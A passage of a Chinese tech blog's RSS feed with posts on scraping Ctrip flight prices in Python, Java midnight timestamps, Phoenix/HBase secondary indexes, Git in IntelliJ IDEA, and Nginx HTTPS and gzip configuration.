,&amp;quot;CWJ&amp;quot;:&amp;quot;沧源&amp;quot;,&amp;quot;DAX&amp;quot;:&amp;quot;达州&amp;quot;,&amp;quot;DLU&amp;quot;:&amp;quot;大理&amp;quot;,&amp;quot;DLC&amp;quot;:&amp;quot;大连&amp;quot;,&amp;quot;DQA&amp;quot;:&amp;quot;大庆&amp;quot;,&amp;quot;DAT&amp;quot;:&amp;quot;大同&amp;quot;,&amp;quot;DDG&amp;quot;:&amp;quot;丹东&amp;quot;,&amp;quot;DCY&amp;quot;:&amp;quot;稻城&amp;quot;,&amp;quot;DOY&amp;quot;:&amp;quot;东营&amp;quot;
,&amp;quot;DNH&amp;quot;:&amp;quot;敦煌&amp;quot;,&amp;quot;DAX&amp;quot;:&amp;quot;达县&amp;quot;,&amp;quot;LUM&amp;quot;:&amp;quot;德宏&amp;quot;,&amp;quot;EJN&amp;quot;:&amp;quot;额济纳旗&amp;quot;,&amp;quot;DSN&amp;quot;:&amp;quot;鄂尔多斯&amp;quot;,&amp;quot;ENH&amp;quot;:&amp;quot;恩施&amp;quot;,&amp;quot;ERL&amp;quot;:&amp;quot;二连浩特&amp;quot;,&amp;quot;FUO&amp;quot;:&amp;quot;佛山&amp;quot;
,&amp;quot;FOC&amp;quot;:&amp;quot;福州&amp;quot;,&amp;quot;FYJ&amp;quot;:&amp;quot;抚远&amp;quot;,&amp;quot;FUG&amp;quot;:&amp;quot;阜阳&amp;quot;,&amp;quot;KOW&amp;quot;:&amp;quot;赣州&amp;quot;,&amp;quot;GOQ&amp;quot;:&amp;quot;格尔木&amp;quot;,&amp;quot;GYU&amp;quot;:&amp;quot;固原&amp;quot;,&amp;quot;GYS&amp;quot;:&amp;quot;广元&amp;quot;,&amp;quot;CAN&amp;quot;:&amp;quot;广州&amp;quot;,&amp;quot;KWE&amp;quot;:&amp;quot;贵阳&amp;quot;
,&amp;quot;KWL&amp;quot;:&amp;quot;桂林&amp;quot;,&amp;quot;HRB&amp;quot;:&amp;quot;哈尔滨&amp;quot;,&amp;quot;HMI&amp;quot;:&amp;quot;哈密&amp;quot;,&amp;quot;HAK&amp;quot;:&amp;quot;海口&amp;quot;,&amp;quot;HLD&amp;quot;:&amp;quot;海拉尔&amp;quot;,&amp;quot;HDG&amp;quot;:&amp;quot;邯郸&amp;quot;,&amp;quot;HZG&amp;quot;:&amp;quot;汉中&amp;quot;,&amp;quot;HGH&amp;quot;:&amp;quot;杭州&amp;quot;,&amp;quot;HFE&amp;quot;:&amp;quot;合肥&amp;quot;
,&amp;quot;HTN&amp;quot;:&amp;quot;和田&amp;quot;,&amp;quot;HEK&amp;quot;:&amp;quot;黑河&amp;quot;,&amp;quot;HET&amp;quot;:&amp;quot;呼和浩特&amp;quot;,&amp;quot;HIA&amp;quot;:&amp;quot;淮安&amp;quot;,&amp;quot;HJJ&amp;quot;:&amp;quot;怀化&amp;quot;,&amp;quot;TXN&amp;quot;:&amp;quot;黄山&amp;quot;,&amp;quot;HUZ&amp;quot;:&amp;quot;惠州&amp;quot;,&amp;quot;JXA&amp;quot;:&amp;quot;鸡西&amp;quot;,&amp;quot;TNA&amp;quot;:&amp;quot;济南&amp;quot;
,&amp;quot;JNG&amp;quot;:&amp;quot;济宁&amp;quot;,&amp;quot;JGD&amp;quot;:&amp;quot;加格达奇&amp;quot;,&amp;quot;JMU&amp;quot;:&amp;quot;佳木斯&amp;quot;,&amp;quot;JGN&amp;quot;:&amp;quot;嘉峪关&amp;quot;,&amp;quot;SWA&amp;quot;:&amp;quot;揭阳&amp;quot;,&amp;quot;JIC&amp;quot;:&amp;quot;金昌&amp;quot;,&amp;quot;KNH&amp;quot;:&amp;quot;金门&amp;quot;,&amp;quot;JNZ&amp;quot;:&amp;quot;锦州&amp;quot;
,&amp;quot;CYI&amp;quot;:&amp;quot;嘉义&amp;quot;,&amp;quot;JHG&amp;quot;:&amp;quot;景洪&amp;quot;,&amp;quot;JSJ&amp;quot;:&amp;quot;建三江&amp;quot;,&amp;quot;JJN&amp;quot;:&amp;quot;晋江&amp;quot;,&amp;quot;JGS&amp;quot;:&amp;quot;井冈山&amp;quot;,&amp;quot;JDZ&amp;quot;:&amp;quot;景德镇&amp;quot;,&amp;quot;JIU&amp;quot;:&amp;quot;九江&amp;quot;,&amp;quot;JZH&amp;quot;:&amp;quot;九寨沟&amp;quot;,&amp;quot;KHG&amp;quot;:&amp;quot;喀什&amp;quot;
,&amp;quot;KJH&amp;quot;:&amp;quot;凯里&amp;quot;,&amp;quot;KGT&amp;quot;:&amp;quot;康定&amp;quot;,&amp;quot;KRY&amp;quot;:&amp;quot;克拉玛依&amp;quot;,&amp;quot;KCA&amp;quot;:&amp;quot;库车&amp;quot;,&amp;quot;KRL&amp;quot;:&amp;quot;库尔勒&amp;quot;,&amp;quot;KMG&amp;quot;:&amp;quot;昆明&amp;quot;,&amp;quot;LXA&amp;quot;:&amp;quot;拉萨&amp;quot;,&amp;quot;LHW&amp;quot;:&amp;quot;兰州&amp;quot;,&amp;quot;HZH&amp;quot;:&amp;quot;黎平&amp;quot;
,&amp;quot;LJG&amp;quot;:&amp;quot;丽江&amp;quot;,&amp;quot;LLB&amp;quot;:&amp;quot;荔波&amp;quot;,&amp;quot;LYG&amp;quot;:&amp;quot;连云港&amp;quot;,&amp;quot;LPF&amp;quot;:&amp;quot;六盘水&amp;quot;,&amp;quot;LFQ&amp;quot;:&amp;quot;临汾&amp;quot;,&amp;quot;LZY&amp;quot;:&amp;quot;林芝&amp;quot;,&amp;quot;LNJ&amp;quot;:&amp;quot;临沧&amp;quot;,&amp;quot;LYI&amp;quot;:&amp;quot;临沂&amp;quot;,&amp;quot;LZH&amp;quot;:&amp;quot;柳州&amp;quot;
,&amp;quot;LZO&amp;quot;:&amp;quot;泸州&amp;quot;,&amp;quot;LYA&amp;quot;:&amp;quot;洛阳&amp;quot;,&amp;quot;LLV&amp;quot;:&amp;quot;吕梁&amp;quot;,&amp;quot;JMJ&amp;quot;:&amp;quot;澜沧&amp;quot;,&amp;quot;LCX&amp;quot;:&amp;quot;龙岩&amp;quot;,&amp;quot;NZH&amp;quot;:&amp;quot;满洲里&amp;quot;,&amp;quot;LUM&amp;quot;:&amp;quot;芒市&amp;quot;,&amp;quot;MXZ&amp;quot;:&amp;quot;梅州&amp;quot;,&amp;quot;MIG&amp;quot;:&amp;quot;绵阳&amp;quot;
,&amp;quot;OHE&amp;quot;:&amp;quot;漠河&amp;quot;,&amp;quot;MDG&amp;quot;:&amp;quot;牡丹江&amp;quot;,&amp;quot;MFK&amp;quot;:&amp;quot;马祖&amp;quot; ,&amp;quot;KHN&amp;quot;:&amp;quot;南昌&amp;quot;,&amp;quot;NAO&amp;quot;:&amp;quot;南充&amp;quot;,&amp;quot;NKG&amp;quot;:&amp;quot;南京&amp;quot;,&amp;quot;NNG&amp;quot;:&amp;quot;南宁&amp;quot;,&amp;quot;NTG&amp;quot;:&amp;quot;南通&amp;quot;,&amp;quot;NNY&amp;quot;:&amp;quot;南阳&amp;quot;
,&amp;quot;NGB&amp;quot;:&amp;quot;宁波&amp;quot;,&amp;quot;NLH&amp;quot;:&amp;quot;宁蒗&amp;quot;,&amp;quot;PZI&amp;quot;:&amp;quot;攀枝花&amp;quot;,&amp;quot;SYM&amp;quot;:&amp;quot;普洱&amp;quot;,&amp;quot;NDG&amp;quot;:&amp;quot;齐齐哈尔&amp;quot;,&amp;quot;JIQ&amp;quot;:&amp;quot;黔江&amp;quot;,&amp;quot;IQM&amp;quot;:&amp;quot;且末&amp;quot;,&amp;quot;BPE&amp;quot;:&amp;quot;秦皇岛&amp;quot;,&amp;quot;TAO&amp;quot;:&amp;quot;青岛&amp;quot;
,&amp;quot;IQN&amp;quot;:&amp;quot;庆阳&amp;quot;,&amp;quot;JUZ&amp;quot;:&amp;quot;衢州&amp;quot;,&amp;quot;RKZ&amp;quot;:&amp;quot;日喀则&amp;quot;,&amp;quot;RIZ&amp;quot;:&amp;quot;日照&amp;quot;,&amp;quot;SYX&amp;quot;:&amp;quot;三亚&amp;quot;,&amp;quot;XMN&amp;quot;:&amp;quot;厦门&amp;quot;,&amp;quot;SHA&amp;quot;:&amp;quot;上海&amp;quot;,&amp;quot;SZX&amp;quot;:&amp;quot;深圳&amp;quot;,&amp;quot;HPG&amp;quot;:&amp;quot;神农架&amp;quot;
,&amp;quot;SHE&amp;quot;:&amp;quot;沈阳&amp;quot;,&amp;quot;SJW&amp;quot;:&amp;quot;石家庄&amp;quot;,&amp;quot;TCG&amp;quot;:&amp;quot;塔城&amp;quot;,&amp;quot;HYN&amp;quot;:&amp;quot;台州&amp;quot;,&amp;quot;TYN&amp;quot;:&amp;quot;太原&amp;quot;,&amp;quot;YTY&amp;quot;:&amp;quot;泰州&amp;quot;,&amp;quot;TVS&amp;quot;:&amp;quot;唐山&amp;quot;,&amp;quot;TCZ&amp;quot;:&amp;quot;腾冲&amp;quot;,&amp;quot;TSN&amp;quot;:&amp;quot;天津&amp;quot;
,&amp;quot;THQ&amp;quot;:&amp;quot;天水&amp;quot;,&amp;quot;TGO&amp;quot;:&amp;quot;通辽&amp;quot;,&amp;quot;TEN&amp;quot;:&amp;quot;铜仁&amp;quot;,&amp;quot;TLQ&amp;quot;:&amp;quot;吐鲁番&amp;quot;,&amp;quot;WXN&amp;quot;:&amp;quot;万州&amp;quot;,&amp;quot;WEH&amp;quot;:&amp;quot;威海&amp;quot;,&amp;quot;WEF&amp;quot;:&amp;quot;潍坊&amp;quot;,&amp;quot;WNZ&amp;quot;:&amp;quot;温州&amp;quot;,&amp;quot;WNH&amp;quot;:&amp;quot;文山&amp;quot;
,&amp;quot;WUA&amp;quot;:&amp;quot;乌海&amp;quot;,&amp;quot;HLH&amp;quot;:&amp;quot;乌兰浩特&amp;quot;,&amp;quot;URC&amp;quot;:&amp;quot;乌鲁木齐&amp;quot;,&amp;quot;WUX&amp;quot;:&amp;quot;无锡&amp;quot;,&amp;quot;WUZ&amp;quot;:&amp;quot;梧州&amp;quot;,&amp;quot;WUH&amp;quot;:&amp;quot;武汉&amp;quot;,&amp;quot;WUS&amp;quot;:&amp;quot;武夷山&amp;quot;,&amp;quot;SIA&amp;quot;:&amp;quot;西安&amp;quot;,&amp;quot;XIC&amp;quot;:&amp;quot;西昌&amp;quot;
,&amp;quot;XNN&amp;quot;:&amp;quot;西宁&amp;quot;,&amp;quot;JHG&amp;quot;:&amp;quot;西双版纳&amp;quot;,&amp;quot;XIL&amp;quot;:&amp;quot;锡林浩特&amp;quot;,&amp;quot;DIG&amp;quot;:&amp;quot;香格里拉(迪庆)&amp;quot;,&amp;quot;XFN&amp;quot;:&amp;quot;襄阳&amp;quot;,&amp;quot;ACX&amp;quot;:&amp;quot;兴义&amp;quot;,&amp;quot;XUZ&amp;quot;:&amp;quot;徐州&amp;quot;,&amp;quot;HKG&amp;quot;:&amp;quot;香港&amp;quot;
,&amp;quot;YNT&amp;quot;:&amp;quot;烟台&amp;quot;,&amp;quot;ENY&amp;quot;:&amp;quot;延安&amp;quot;,&amp;quot;YNJ&amp;quot;:&amp;quot;延吉&amp;quot;,&amp;quot;YNZ&amp;quot;:&amp;quot;盐城&amp;quot;,&amp;quot;YTY&amp;quot;:&amp;quot;扬州&amp;quot;,&amp;quot;LDS&amp;quot;:&amp;quot;伊春&amp;quot;,&amp;quot;YIN&amp;quot;:&amp;quot;伊宁&amp;quot;,&amp;quot;YBP&amp;quot;:&amp;quot;宜宾&amp;quot;,&amp;quot;YIH&amp;quot;:&amp;quot;宜昌&amp;quot;
,&amp;quot;YIC&amp;quot;:&amp;quot;宜春&amp;quot;,&amp;quot;YIW&amp;quot;:&amp;quot;义乌&amp;quot;,&amp;quot;INC&amp;quot;:&amp;quot;银川&amp;quot;,&amp;quot;LLF&amp;quot;:&amp;quot;永州&amp;quot;,&amp;quot;UYN&amp;quot;:&amp;quot;榆林&amp;quot;,&amp;quot;YUS&amp;quot;:&amp;quot;玉树&amp;quot;,&amp;quot;YCU&amp;quot;:&amp;quot;运城&amp;quot;,&amp;quot;ZHA&amp;quot;:&amp;quot;湛江&amp;quot;,&amp;quot;DYG&amp;quot;:&amp;quot;张家界&amp;quot;
,&amp;quot;ZQZ&amp;quot;:&amp;quot;张家口&amp;quot;,&amp;quot;YZY&amp;quot;:&amp;quot;张掖&amp;quot;,&amp;quot;ZAT&amp;quot;:&amp;quot;昭通&amp;quot;,&amp;quot;CGO&amp;quot;:&amp;quot;郑州&amp;quot;,&amp;quot;ZHY&amp;quot;:&amp;quot;中卫&amp;quot;,&amp;quot;HSN&amp;quot;:&amp;quot;舟山&amp;quot;,&amp;quot;ZUH&amp;quot;:&amp;quot;珠海&amp;quot;,&amp;quot;WMT&amp;quot;:&amp;quot;遵义(茅台)&amp;quot;,&amp;quot;ZYI&amp;quot;:&amp;quot;遵义(新舟)&amp;quot;}
# 要排除的城市
excludeCitys = ['乌鲁木齐','克拉玛依','吐鲁番','哈密','昌吉','阜康','米泉','博乐','库尔勒','阿克苏','阿图什','喀什','和田','奎屯',
           '伊宁','塔城','乌苏','阿勒泰','库车']
url = &amp;quot;https://flights.ctrip.com/itinerary/api/12808/products&amp;quot;
headers = {
    &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0&amp;quot;,
    &amp;quot;Referer&amp;quot;: &amp;quot;https://flights.ctrip.com/itinerary/oneway/bjs-sha?date=2019-07-18&amp;quot;,
    &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;
    # 此处可以增加cookies
}


# 获取这个城市当天最便宜的航班
def getCheapFlight(dcity, acity, date):
    request_payload = {
        &amp;quot;flightWay&amp;quot;: &amp;quot;Oneway&amp;quot;,
        &amp;quot;classType&amp;quot;: &amp;quot;ALL&amp;quot;,
        &amp;quot;hasChild&amp;quot;: False,
        &amp;quot;hasBaby&amp;quot;: False,
        &amp;quot;searchIndex&amp;quot;: 1,
        &amp;quot;airportParams&amp;quot;: [
            {&amp;quot;dcity&amp;quot;: dcity, &amp;quot;acity&amp;quot;: acity, &amp;quot;dcityname&amp;quot;: cityDict[dcity], &amp;quot;acityname&amp;quot;: cityDict[acity],
             &amp;quot;date&amp;quot;: date, &amp;quot;dcityid&amp;quot;: 1, &amp;quot;acityid&amp;quot;: 2}
        ]
    }
    # post请求
    response = requests.post(url, data=json.dumps(request_payload), headers=headers).text
    # 很多航班信息在此分一下
    routeList = json.loads(response).get('data').get('routeList')
    # 航班信息列表
    cheapFlight = {}
    # 依次读取每条信息
    if routeList is None: return {}
    for route in routeList:
        # 判断是否有信息，有时候没有会报错
        if len(route.get('legs')) == 1:
            legs = route.get('legs')
            flight = legs[0].get('flight')
            # 提取想要的信息
            airlineName = flight.get('airlineName')                                         # 航空公司
            flightNumber = flight.get('flightNumber')                                       # 航班号
            departureDate = flight.get('departureDate')                                     # 起飞时间
            arrivalDate = flight.get('arrivalDate')                                         # 到达时间
            departureCityName = flight.get('departureAirportInfo').get('cityName')          # 起飞城市
            departureAirportName = flight.get('departureAirportInfo').get('airportName')    # 起飞机场
            arrivalCityName = flight.get('arrivalAirportInfo').get('cityName')              # 到达城市
            arrivalAirportName = flight.get('arrivalAirportInfo').get('airportName')        # 到达机场
            price = legs[0].get('cabins')[0].get('price').get('price')                      # 航班价格
            # 选出最便宜的航班
            if ('price' not in cheapFlight) or (price &amp;lt; cheapFlight['price']):
                cheapFlight['airlineName'] = airlineName
                cheapFlight['flightNumber'] = flightNumber
                cheapFlight['departureDate'] = departureDate
                cheapFlight['arrivalDate'] = arrivalDate
                cheapFlight['departureCityName'] = departureCityName
                cheapFlight['departureAirportName'] = departureAirportName
                cheapFlight['arrivalCityName'] = arrivalCityName
                cheapFlight['arrivalAirportName'] = arrivalAirportName
                cheapFlight['price'] = price
    return cheapFlight


# 开始
if __name__ == &amp;quot;__main__&amp;quot;:
    # 重点城市
    endCity = 'URC'
    # 航班日期
    time = '2020-01-20'
    cityList = list(cityDict.keys())
    for city in cityList:
        cityFlight = getCheapFlight(city, endCity, time)
        # 判空
        if not cityFlight:
            continue
        # 价格筛选
        if cityFlight['price'] &amp;gt; 1000:
            continue
        # 删除要排除的城市
        isPrint = True
        for excludeCity in excludeCitys:
            if excludeCity == cityFlight['departureCityName']:
                isPrint = False
                break
        if isPrint:
            print(cityFlight)


&lt;/code&gt;&lt;/pre&gt;</description>
      <category>爬虫相关</category>
      <pubDate>Mon, 16 Dec 2019 07:44:29 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/59.html</comments>
    </item>
    <item>
      <title>Java获取零点时间戳踩坑记录</title>
      <link>https://www.baby7blog.com/myBlog/55.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FkMz9abn2NcayM_92-YspXIZouUr" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Java获取零点时间戳踩坑记录&lt;/h1&gt;

&lt;p&gt;开始时是使用下面这种方式&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Java"&gt;long now = System.currentTimeMillis();
now/(1000*3600*24)*(1000*3600*24)-TimeZone.getDefault().getRawOffset();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后来发现不对劲，查出来是前一天的时间戳，我以为少了一天，就加了一天&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Java"&gt;now/(1000*3600*24)*(1000*3600*24)-TimeZone.getDefault().getRawOffset() + 24*60*60*1000;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后面又不对，最后发现在每天的00:00到08:00之间查出来是前一天的时间，之所以是八点似乎是跟东八区的时间有关系&lt;/p&gt;
&lt;p&gt;下面是解决方案&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Java"&gt;now - (now + TimeZone.getDefault().getRawOffset()) % (1000 * 3600 * 24);
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Fri, 06 Dec 2019 10:01:00 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/55.html</comments>
    </item>
    <item>
      <title>Phoenix查询优化(千万数据0.1秒查询)</title>
      <link>https://www.baby7blog.com/myBlog/53.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FpkcVHtbpTJuPoMdMHoMz87LxQQ7" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Phoenix查询优化(千万数据0.1秒查询)&lt;/h1&gt;


&lt;h3&gt;版本信息&lt;/h3&gt;
&lt;p&gt;Phoenix: 5.0
HBase:2.0
Zookeeper:3.4.12&lt;/p&gt;

&lt;h3&gt;优化过程&lt;/h3&gt;
&lt;p&gt;二级索引是关键，首先是创建索引，创建索引之前需要配置一些东西&lt;/p&gt;
&lt;p&gt;在每一个RegionServer的hbase-site.xml中加入如下的属性：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-XML"&gt;&amp;lt;property&amp;gt;
  &amp;lt;name&amp;gt;hbase.regionserver.wal.codec&amp;lt;/name&amp;gt;
  &amp;lt;value&amp;gt;org.apache.hadoop.hbase.regionserver.wal.IndexedWALEditCodec&amp;lt;/value&amp;gt;
&amp;lt;/property&amp;gt;
&amp;lt;property&amp;gt;
  &amp;lt;name&amp;gt;hbase.region.server.rpc.scheduler.factory.class&amp;lt;/name&amp;gt;
  &amp;lt;value&amp;gt;org.apache.hadoop.hbase.ipc.PhoenixRpcSchedulerFactory&amp;lt;/value&amp;gt;
  &amp;lt;description&amp;gt;Factory to create the Phoenix RPC Scheduler that uses separate queues for index and metadata updates&amp;lt;/description&amp;gt;
&amp;lt;/property&amp;gt;
&amp;lt;property&amp;gt;
  &amp;lt;name&amp;gt;hbase.rpc.controllerfactory.class&amp;lt;/name&amp;gt;
  &amp;lt;value&amp;gt;org.apache.hadoop.hbase.ipc.controller.ServerRpcControllerFactory&amp;lt;/value&amp;gt;
  &amp;lt;description&amp;gt;Factory to create the Phoenix RPC Scheduler that uses separate queues for index and metadata updates&amp;lt;/description&amp;gt;
&amp;lt;/property&amp;gt;
&amp;lt;property&amp;gt;
  &amp;lt;name&amp;gt;hbase.coprocessor.regionserver.classes&amp;lt;/name&amp;gt;
  &amp;lt;value&amp;gt;org.apache.hadoop.hbase.regionserver.LocalIndexMerger&amp;lt;/value&amp;gt;
&amp;lt;/property&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在每一个Master的hbase-site.xml中加入如下的属性：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-XML"&gt;&amp;lt;property&amp;gt;
  &amp;lt;name&amp;gt;hbase.master.loadbalancer.class&amp;lt;/name&amp;gt;
  &amp;lt;value&amp;gt;org.apache.phoenix.hbase.index.balancer.IndexLoadBalancer&amp;lt;/value&amp;gt;
&amp;lt;/property&amp;gt;
&amp;lt;property&amp;gt;
  &amp;lt;name&amp;gt;hbase.coprocessor.master.classes&amp;lt;/name&amp;gt;
  &amp;lt;value&amp;gt;org.apache.phoenix.hbase.index.master.IndexMasterObserver&amp;lt;/value&amp;gt;
&amp;lt;/property&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来看这个查询语句&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-SQL"&gt;SELECT MAX(create_time) AS &amp;quot;createTime&amp;quot;,student_id AS &amp;quot;studentID&amp;quot;
FROM bracelet_info
WHERE student_id = '111' and create_time &amp;gt;= 1575388800000
group by student_id;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这条查询语句需要两个筛选，创建一个对应的组合二级索引：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-SQL"&gt;create index idx_bracelet_info_student_id_time on bracelet_info(student_id,create_time desc);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来查看语句运行效率，这里增加了一个Hint，略微增加速度&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Linux"&gt;0: jdbc:phoenix:************:****&amp;gt; SELECT /*+ INDEX(bracelet_info idx_bracelet_info_student_id_time) */
. . . . . . . . . . . . . . . . .&amp;gt; MAX(create_time) AS &amp;quot;createTime&amp;quot;
. . . . . . . . . . . . . . . . .&amp;gt; ,student_id AS &amp;quot;studentID&amp;quot;
. . . . . . . . . . . . . . . . .&amp;gt; FROM bracelet_info
. . . . . . . . . . . . . . . . .&amp;gt; WHERE student_id = '111'
. . . . . . . . . . . . . . . . .&amp;gt; and create_time &amp;gt;= 1575388800000
. . . . . . . . . . . . . . . . .&amp;gt; group by student_id;
+----------------+------------+
|   createTime   | studentID  |
+----------------+------------+
| 1575428753262  | 111        |
+----------------+------------+
1 row selected (0.098 seconds)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;千万级数据下查询效果很不错&lt;/p&gt;
&lt;p&gt;这里附加一条删除二级索引的语句&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-SQL"&gt;drop index idx_bracelet_info_student_id_time ON bracelet_info;
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Wed, 04 Dec 2019 03:22:05 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/53.html</comments>
    </item>
    <item>
      <title>IDEA中git的操作</title>
      <link>https://www.baby7blog.com/myBlog/49.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fj12b-shJGsu3j14vl78m2asAn9q" width="800"&gt;&lt;br&gt;
&lt;h1&gt;IDEA中git的操作&lt;/h1&gt;

&lt;h3&gt;安装git&lt;/h3&gt;

&lt;p&gt;1.下载:可以去git的&lt;a href="https://git-scm.com/downloads"&gt;官网&lt;/a&gt;下载
2.安装
3.配置环境变量:&lt;/p&gt;

&lt;p&gt;在系统变量的Path中添加git的安装目录再加\cmd即可&lt;/p&gt;
&lt;h3&gt;IDEA配置git&lt;/h3&gt;
&lt;p&gt;ctrl+alt+s打开Settings，搜索git，然后在第一行的Path to Git executable中选择git的目录\bin\git.exe即可&lt;/p&gt;
&lt;h3&gt;从在线git仓库clone/下载项目&lt;/h3&gt;
&lt;p&gt;有两种下载方式，我一般是选择https的下载方式，输入用户名密码后让idea记住。&lt;/p&gt;

&lt;p&gt;1.IDEA的开始界面或者VCS
2.Checkout from Version Control
3.git
4.输入https的url和项目放置路径
5.输入用户名密码并点击clone&lt;/p&gt;

&lt;h3&gt;提交和更新&lt;/h3&gt;
&lt;p&gt;在左下角的Version Control中可以看到更改的文件，可以长按ctrl并用鼠标左键选择你要提交的那些文件，选完后点击左侧的绿色√来commit到本地仓库，这里如果想要回退可以看下面一个操作，commit后要提交到线上仓库需要点击VCS-&amp;gt;Git-&amp;gt;Push来提交。&lt;/p&gt;
&lt;p&gt;更新是VCS-&amp;gt;Updata Project，如果没有冲突就可以直接合并，有冲突的话需要在冲突的文件手动选择合并。&lt;/p&gt;
&lt;h3&gt;本地回退&lt;/h3&gt;
&lt;p&gt;在commit但没有push到线上的情况下可以选择本地回退，VSC-&amp;gt;Git-&amp;gt;reset head打开窗口，其中的To Commit是重点：&lt;/p&gt;

&lt;p&gt;退回到上一次提交：HEAD^
退回到2次提交之前：HEAD~2
退回到指定的版本：HEAD ~id号&lt;/p&gt;

&lt;h3&gt;切换分支&lt;/h3&gt;
&lt;p&gt;在右下角[GIT:分支名(一般开始是Master)]的分支里选择你要切换的分支点击Checkout即可&lt;/p&gt;
&lt;h3&gt;合并分支&lt;/h3&gt;
&lt;p&gt;Develop分支合并到Master分支上：首先切换到Master分支上，在Dev分支上点击Merge into Current即可&lt;/p&gt;
&lt;h3&gt;提交规范化&lt;/h3&gt;

&lt;h4&gt;type：用于说明commit的类别，规定为如下几种&lt;/h4&gt;

&lt;p&gt;feat：新增功能；
fix：修复bug；
docs：修改文档；
refactor：代码重构，未新增任何功能和修复任何bug；
build：改变构建流程，新增依赖库、工具等（例如webpack修改）；
style：仅仅修改了空格、缩进等，不改变代码逻辑；
perf：改善性能和体现的修改；
chore：非src和test的修改；
test：测试用例的修改；
ci：自动化流程配置修改；
revert：回滚到上一个版本；&lt;/p&gt;

&lt;h4&gt;scope：【可选】用于说明commit的影响范围&lt;/h4&gt;
&lt;h4&gt;subject：commit的简要说明，尽量简短&lt;/h4&gt;</description>
      <category>后端技术</category>
      <pubDate>Sun, 24 Nov 2019 11:00:41 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/49.html</comments>
    </item>
    <item>
      <title>Nginx的配置使用</title>
      <link>https://www.baby7blog.com/myBlog/47.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fs6miUWXBT1kHs4L3cmd_yVznutS" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Nginx的配置使用&lt;/h1&gt;

&lt;h3&gt;https的配置&lt;/h3&gt;
&lt;p&gt;首先去申请一个ssl证书并下载相关的文件：pem和key&lt;/p&gt;
&lt;p&gt;然后配置443端口转发到相应的端口&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-nginx"&gt;    # HTTPS server
    # https访问
    server {
        listen       443 ssl;
        server_name  你的域名;
        ssl on;
        root html;
        index index.html index.htm;

        ssl_certificate      pem地址;
        ssl_certificate_key  key地址;

        ssl_session_timeout  5m;

        ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_prefer_server_ciphers  on;

        location / {
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection &amp;quot;upgrade&amp;quot;;
            proxy_pass   转发地址如http://127.0.0.1:8003;
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;强制使用https访问&lt;/h3&gt;
&lt;p&gt;就是如果访问端口是http就重定向到https，这里强制80端口使用https访问&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-nginx"&gt;    # HTTP server
    # 重定向到https
    server {
        listen       80;
        server_name  你的域名;
        return      301 https://$server_name$request_uri;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;开启GZIP&lt;/h3&gt;
&lt;p&gt;在http区块下添加如下代码&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-nginx"&gt;    #开启gzip
    gzip  on;
    #低于1kb的资源不压缩
    gzip_min_length 1k;
    #压缩级别【1-9】，越大压缩率越高，同时消耗cpu资源也越多，建议设置在4左右。
    gzip_comp_level 4;
    #需要压缩哪些响应类型的资源，多个空格隔开。
    gzip_types text/plain application/javascript application/x-javascript text/javascript text/xml text/css;
    #配置禁用gzip条件，支持正则。此处表示ie6及以下不启用gzip（因为ie低&amp;gt;版本不支持）
    gzip_disable &amp;quot;MSIE [1-6]\.&amp;quot;;
    #是否添加“Vary: Accept-Encoding”响应头
    gzip_vary on;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;区分爬虫进行转发&lt;/h3&gt;
&lt;p&gt;在location区块下添加如下代码&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-nginx"&gt;if ($http_user_agent ~* &amp;quot;Baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest|slackbot|vkShare|W3C_Validator|bingbot|Sosospider|Sogou Pic Spider|Googlebot|360Spider&amp;quot;) {
    proxy_pass  要转发的地址;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;location的判断&lt;/h3&gt;
&lt;p&gt;判断文件&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-nginx"&gt;location ~* .jpg|.png|.gif|.jpeg|.html|.js|.css|.ico$ {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;判断服务&lt;/p&gt;
